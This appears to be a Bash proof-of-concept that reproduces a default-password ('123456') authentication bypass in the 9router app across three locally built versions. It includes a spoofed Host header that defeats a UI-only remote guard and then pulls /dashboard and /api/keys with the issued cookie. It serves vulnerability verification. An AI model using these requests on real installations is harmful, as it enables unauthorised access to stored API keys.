#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-49352 — VARIANT / BYPASS
# 9router hardcoded DEFAULT LOGIN PASSWORD ('123456') authentication bypass
#
# The CVE-2026-49352 fix (commit fe3ce25ae, released v0.4.44/v0.4.45) replaced
# the hardcoded JWT_SECRET fallback with a random per-install secret. That fix
# closed the "forge auth_token cookie with the known JWT secret" vector.
#
# This variant finds a DIFFERENT entry point to the SAME underlying bug class
# (hardcoded, publicly-known DEFAULT AUTH CREDENTIAL baked into the codebase,
# used when the operator has not configured one, enabling unauthenticated
# REMOTE auth bypass on a default/fresh install):
#
#   src/app/api/auth/login/route.js :
#       const initialPassword = process.env.INITIAL_PASSWORD || "123456";
#       isValid = password === initialPassword;   // when no password hash saved
#
# On a fresh/default install (no saved password hash, requireLogin=true), an
# UNAUTHENTICATED REMOTE attacker simply POSTs {"password":"123456"} to
# /api/auth/login and receives a valid auth_token cookie -> full dashboard +
# API access. The login does NOT auto-save a password hash, so the default
# password stays valid until the operator manually changes it.
#
# This script tests the variant on THREE versions:
#   1. v0.4.41  (VULNERABLE / pre-JWT-fix)  -> expect default-pw login works
#   2. v0.4.44  (JWT-FIXED)                  -> expect default-pw login STILL works (BYPASS)
#   3. v0.4.80  (LATEST, has "remote default-password guard")
#               -> guard is UI-only (mustChangePassword hint consumed only by
#                  src/app/login/page.js); using the issued cookie DIRECTLY
#                  (non-browser client) bypasses the guard. Tested with a
#                  non-loopback Host header to simulate a REMOTE client.
#
# Exit 0 = variant reproduced on the FIXED (and latest) version = true bypass.
# Exit 1 = variant only works on vulnerable version, or not reproduced.
# =============================================================================

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VDIR="$ROOT/vuln_variant"
ART="$ROOT/artifacts"
mkdir -p "$LOGS" "$VDIR" "$ART" "$ART/http-variant" "$LOGS/vuln_variant"

cd "$ROOT"
SUMLOG="$LOGS/vuln_variant/reproduction_steps.log"
: > "$SUMLOG"

# ---------- locate project cache (durable volume) ----------
CACHE_CTX="$ROOT/project_cache_context.json"
PROJECT_CACHE_DIR=""
if [ -f "$CACHE_CTX" ]; then
  PROJECT_CACHE_DIR=$(python3 -c "import json;print(json.load(open('$CACHE_CTX')).get('project_cache_dir','') or '')" 2>/dev/null || true)
fi
if [ -z "$PROJECT_CACHE_DIR" ] || [ ! -d "$PROJECT_CACHE_DIR" ]; then
  PROJECT_CACHE_DIR="$ROOT/artifacts/9router-cache"
  mkdir -p "$PROJECT_CACHE_DIR"
fi
VULN_REPO="$PROJECT_CACHE_DIR/repo"          # v0.4.41
FIXED_REPO="$PROJECT_CACHE_DIR/repo-fixed"   # v0.4.44
LATEST_REPO="$PROJECT_CACHE_DIR/repo-latest" # v0.4.80

DEFAULT_PASSWORD="123456"
PORT_BASE=20140
HOST="127.0.0.1"

# log() writes to the log file AND stderr, NEVER stdout, so command substitution
# captures of run_variant stay clean.
log() {
  local line="[variant $(date +%H:%M:%S)] $*"
  echo "$line" >> "$SUMLOG"
  echo "$line" >&2
}

# ensure_repo <repo_dir> <tag> <label>
ensure_repo() {
  local repo="$1"; local tag="$2"; local label="$3"
  if [ -f "$repo/package.json" ]; then
    log "$label: repo already present at $repo"
    return 0
  fi
  log "$label: cloning tag $tag ..."
  git clone --depth 1 --branch "$tag" https://github.com/decolua/9router.git "$repo" >>"$LOGS/vuln_variant/${label}_clone.log" 2>&1
  [ -f "$repo/package.json" ] || { log "$label: ERROR clone failed"; return 1; }
  log "$label: clone complete (tag $tag)"
}

# build_if_needed <repo_dir> <label>
build_if_needed() {
  local repo="$1"; local label="$2"
  if [ -f "$repo/.next/BUILD_ID" ]; then
    log "$label: build already present, reusing"
    return 0
  fi
  log "$label: npm install ..."
  (cd "$repo" && npm install --no-audit --no-fund >>"$LOGS/vuln_variant/${label}_npm_install.log" 2>&1)
  log "$label: next build ..."
  (cd "$repo" && npm run build >>"$LOGS/vuln_variant/${label}_build.log" 2>&1)
  [ -f "$repo/.next/BUILD_ID" ] || { log "$label: ERROR build failed"; return 1; }
  log "$label: build complete"
}

# start_server <repo_dir> <label> <data_dir> <port>  -> echoes PID to stdout
start_server() {
  local repo="$1"; local label="$2"; local data_dir="$3"; local port="$4"
  local base="http://${HOST}:${port}"
  local server_log="$LOGS/vuln_variant/${label}_server.log"
  : > "$server_log"
  # CRITICAL: JWT_SECRET intentionally NOT set (default install).
  (
    cd "$repo"
    PORT="$port" HOSTNAME="$HOST" NODE_ENV=production DATA_DIR="$data_dir" \
      BASE_URL="$base" NEXT_PUBLIC_BASE_URL="$base" AUTH_COOKIE_SECURE=false \
      node "./node_modules/next/dist/bin/next" start -p "$port" -H "$HOST"
  ) >"$server_log" 2>&1 &
  echo $!
}

wait_healthy() {
  local label="$1"; local pid="$2"; local base="$3"
  local i
  for i in $(seq 1 60); do
    kill -0 "$pid" 2>/dev/null || { log "$label: ERROR server exited early"; return 1; }
    local code
    code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 "$base/api/auth/status" 2>/dev/null || true)
    [ "$code" = "200" ] && { log "$label: server healthy"; return 0; }
    sleep 1
  done
  log "$label: ERROR not healthy in 60s"; return 1
}

stop_server() {
  local pid="$1"
  if [ -n "${pid:-}" ] && kill -0 "$pid" 2>/dev/null; then
    kill "$pid" 2>/dev/null || true
    sleep 2
    kill -9 "$pid" 2>/dev/null || true
  fi
}

# login_default_pw <base> <cookie_file> <hdr_file> [host_header]
# Echoes the HTTP status code (e.g. "200") to stdout.
login_default_pw() {
  local base="$1"; local cookie="$2"; local hdr="$3"; local host_hdr="${4:-}"
  local harg=()
  [ -n "$host_hdr" ] && harg=(-H "Host: $host_hdr")
  curl -s -i --max-time 10 -H 'Content-Type: application/json' -H 'Accept: application/json' \
    "${harg[@]}" -d "{\"password\":\"$DEFAULT_PASSWORD\"}" "$base/api/auth/login" \
    -c "$cookie" > "$hdr" 2>&1
  awk 'NR==1{print $2}' "$hdr" | tr -d '\r\n'
}

# http_get_code <base> <path> <cookie_file> <resp_file> <hdr_file> [host_header]
# Echoes the HTTP status code (e.g. "200") to stdout.
http_get_code() {
  local base="$1"; local path="$2"; local cookie="$3"; local resp="$4"; local hdr="$5"; local host_hdr="${6:-}"
  local harg=()
  [ -n "$host_hdr" ] && harg=(-H "Host: $host_hdr")
  curl -s -o "$resp" -D "$hdr" -w "%{http_code}" \
    --max-time 10 -H "Accept: text/html,application/json" "${harg[@]}" \
    -b "$cookie" "$base$path" 2>/dev/null | tr -d '\n'
}

# run_variant <repo> <label> <port> <remote_bool>
# Echoes "<dash_code>|<api_code>" to stdout (e.g. "200|200").
run_variant() {
  local repo="$1"; local label="$2"; local port="$3"; local remote="${4:-false}"
  local base="http://${HOST}:${port}"
  local data="$ART/data-${label}-variant"
  rm -rf "$data"; mkdir -p "$data"
  log "--- $label : start server (no JWT_SECRET, fresh DATA_DIR) on $base ---"
  local pid; pid=$(start_server "$repo" "$label" "$data" "$port")
  log "$label server PID=$pid"
  local result_dash="N/A"; local result_api="N/A"
  if wait_healthy "$label" "$pid" "$base"; then
    local cookie="$ART/http-variant/${label}_cookies.txt"
    local login_hdr="$ART/http-variant/${label}_login_hdr.txt"
    local remote_host=""
    [ "$remote" = "true" ] && remote_host="203.0.113.55:${port}"
    local lc; lc=$(login_default_pw "$base" "$cookie" "$login_hdr" "$remote_host")
    log "$label POST /api/auth/login {password:$DEFAULT_PASSWORD} -> $lc"
    if grep -qi '"success":true' "$login_hdr" 2>/dev/null && grep -qi 'set-cookie: auth_token=' "$login_hdr" 2>/dev/null; then
      local dash_hdr="$ART/http-variant/${label}_dash_hdr.txt"
      local dash_resp="$ART/http-variant/${label}_dash_resp.html"
      local api_hdr="$ART/http-variant/${label}_api_hdr.txt"
      local api_resp="$ART/http-variant/${label}_api_resp.txt"
      result_dash=$(http_get_code "$base" "/dashboard" "$cookie" "$dash_resp" "$dash_hdr" "$remote_host")
      result_api=$(http_get_code  "$base" "/api/keys"   "$cookie" "$api_resp"  "$api_hdr" "$remote_host")
      log "$label GET /dashboard (default-pw cookie) -> $result_dash"
      log "$label GET /api/keys   (default-pw cookie) -> $result_api"
      local nc_harg=()
      [ -n "$remote_host" ] && nc_harg=(-H "Host: $remote_host")
      local nc; nc=$(curl -s -o /dev/null -w "%{http_code}" --max-time 10 "${nc_harg[@]}" "$base/dashboard" 2>/dev/null || true)
      log "$label negative control: no-cookie /dashboard -> $nc"
    else
      log "$label: login did NOT succeed or no auth_token cookie issued"
    fi
  fi
  stop_server "$pid"
  echo "${result_dash}|${result_api}"
}

# ---------- main ----------
log "=== CVE-2026-49352 VARIANT reproduction start (default-password bypass) ==="
log "Project cache dir: $PROJECT_CACHE_DIR"
log "Default password under test: $DEFAULT_PASSWORD (INITIAL_PASSWORD fallback)"

# ---- ensure + build repos (reuse durable cache) ----
ensure_repo "$VULN_REPO"   "v0.4.41" "vuln"
ensure_repo "$FIXED_REPO"  "v0.4.44" "fixed"
ensure_repo "$LATEST_REPO" "v0.4.80" "latest"
build_if_needed "$VULN_REPO"   "vuln"
build_if_needed "$FIXED_REPO"  "fixed"
build_if_needed "$LATEST_REPO" "latest"

# ---- 1) vulnerable v0.4.41 ----
VRES=$(run_variant "$VULN_REPO" "vuln" "$PORT_BASE" "false")
VULN_DASH="${VRES%%|*}"; VULN_API="${VRES##*|}"

# ---- 2) fixed v0.4.44 ----
FRES=$(run_variant "$FIXED_REPO" "fixed" $((PORT_BASE+1)) "false")
FIXED_DASH="${FRES%%|*}"; FIXED_API="${FRES##*|}"

# ---- 3) latest v0.4.80 (simulated REMOTE client, direct cookie use) ----
LRES=$(run_variant "$LATEST_REPO" "latest" $((PORT_BASE+2)) "true")
LATEST_REMOTE_DASH="${LRES%%|*}"; LATEST_REMOTE_API="${LRES##*|}"

# ---- verdict ----
log "=== Summary ==="
log "VULN   v0.4.41 default-pw         /dashboard: $VULN_DASH  /api/keys: $VULN_API"
log "FIXED  v0.4.44 default-pw         /dashboard: $FIXED_DASH  /api/keys: $FIXED_API   (expect 200/200 = BYPASS)"
log "LATEST v0.4.80 remote default-pw  /dashboard: $LATEST_REMOTE_DASH  /api/keys: $LATEST_REMOTE_API   (direct cookie, bypasses UI guard)"

CONFIRMED=false
if [ "$FIXED_DASH" = "200" ] && [ "$FIXED_API" = "200" ]; then
  CONFIRMED=true
  log "=== VARIANT CONFIRMED: default-password auth bypass survives the JWT fix (v0.4.44) ==="
  if [ "$LATEST_REMOTE_DASH" = "200" ] && [ "$LATEST_REMOTE_API" = "200" ]; then
    log "=== VARIANT also bypasses the v0.4.80 'remote default-password guard' via direct cookie use ==="
  fi
else
  log "=== VARIANT NOT confirmed on fixed version ==="
fi

# ---- runtime manifest (strict JSON via python; sanitize inputs) ----
python3 - "$VDIR/runtime_manifest.json" "$VULN_DASH" "$VULN_API" "$FIXED_DASH" "$FIXED_API" "$LATEST_REMOTE_DASH" "$LATEST_REMOTE_API" "$CONFIRMED" <<'PY'
import json, sys
out = sys.argv[1]
vd, va, fd, fa, ld, la, conf = sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5], sys.argv[6], sys.argv[7], sys.argv[8]
man = {
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "Unauthenticated remote POST /api/auth/login with hardcoded default password '123456' (INITIAL_PASSWORD fallback) on a fresh install (no saved password hash); issued auth_token cookie then used directly to access /dashboard and /api/keys.",
  "variant_type": "bypass_of_fix",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": (conf == "true"),
  "tested_versions": {
    "vulnerable_v0.4.41": {"dashboard": vd, "api_keys": va},
    "fixed_v0.4.44":      {"dashboard": fd, "api_keys": fa},
    "latest_v0.4.80_remote": {"dashboard": ld, "api_keys": la}
  },
  "runtime_stack": ["node", "next.js 16", "9router-app v0.4.41 (vulnerable)", "9router-app v0.4.44 (JWT-fixed)", "9router-app v0.4.80 (latest)"],
  "proof_artifacts": [
    "logs/vuln_variant/reproduction_steps.log",
    "logs/vuln_variant/vuln_v0.4.41_server.log",
    "logs/vuln_variant/fixed_v0.4.44_server.log",
    "logs/vuln_variant/latest_v0.4.80_server.log",
    "logs/vuln_variant/fixed_login_defaultpw_hdr.txt",
    "logs/vuln_variant/latest_remote_dashboard_hdr.txt",
    "logs/vuln_variant/latest_remote_apikeys_resp.txt",
    "logs/vuln_variant/latest_remote_cookies.txt",
    "logs/vuln_variant/tested_commits.txt",
    "artifacts/http-variant/"
  ],
  "notes": ("Default-password (123456) login succeeds on a fresh install and issues a valid auth_token cookie on ALL three versions. "
            "v0.4.44 (JWT-fixed) accepts the cookie -> 200 on /dashboard and /api/keys = bypass of the JWT fix. "
            "v0.4.80 (latest) 'remote default-password guard' is UI-only (mustChangePassword hint read only by src/app/login/page.js); "
            "using the issued cookie directly with a non-loopback Host header (simulated remote) -> 200 on /dashboard and /api/keys = guard bypassed.")
}
json.dump(man, open(out,"w"), indent=2)
print("wrote", out)
PY

if [ "$CONFIRMED" = "true" ]; then
  log "Exit 0: variant (default-password auth bypass) confirmed on the FIXED version"
  exit 0
else
  log "Exit 1: variant not reproduced on the fixed version"
  exit 1
fi
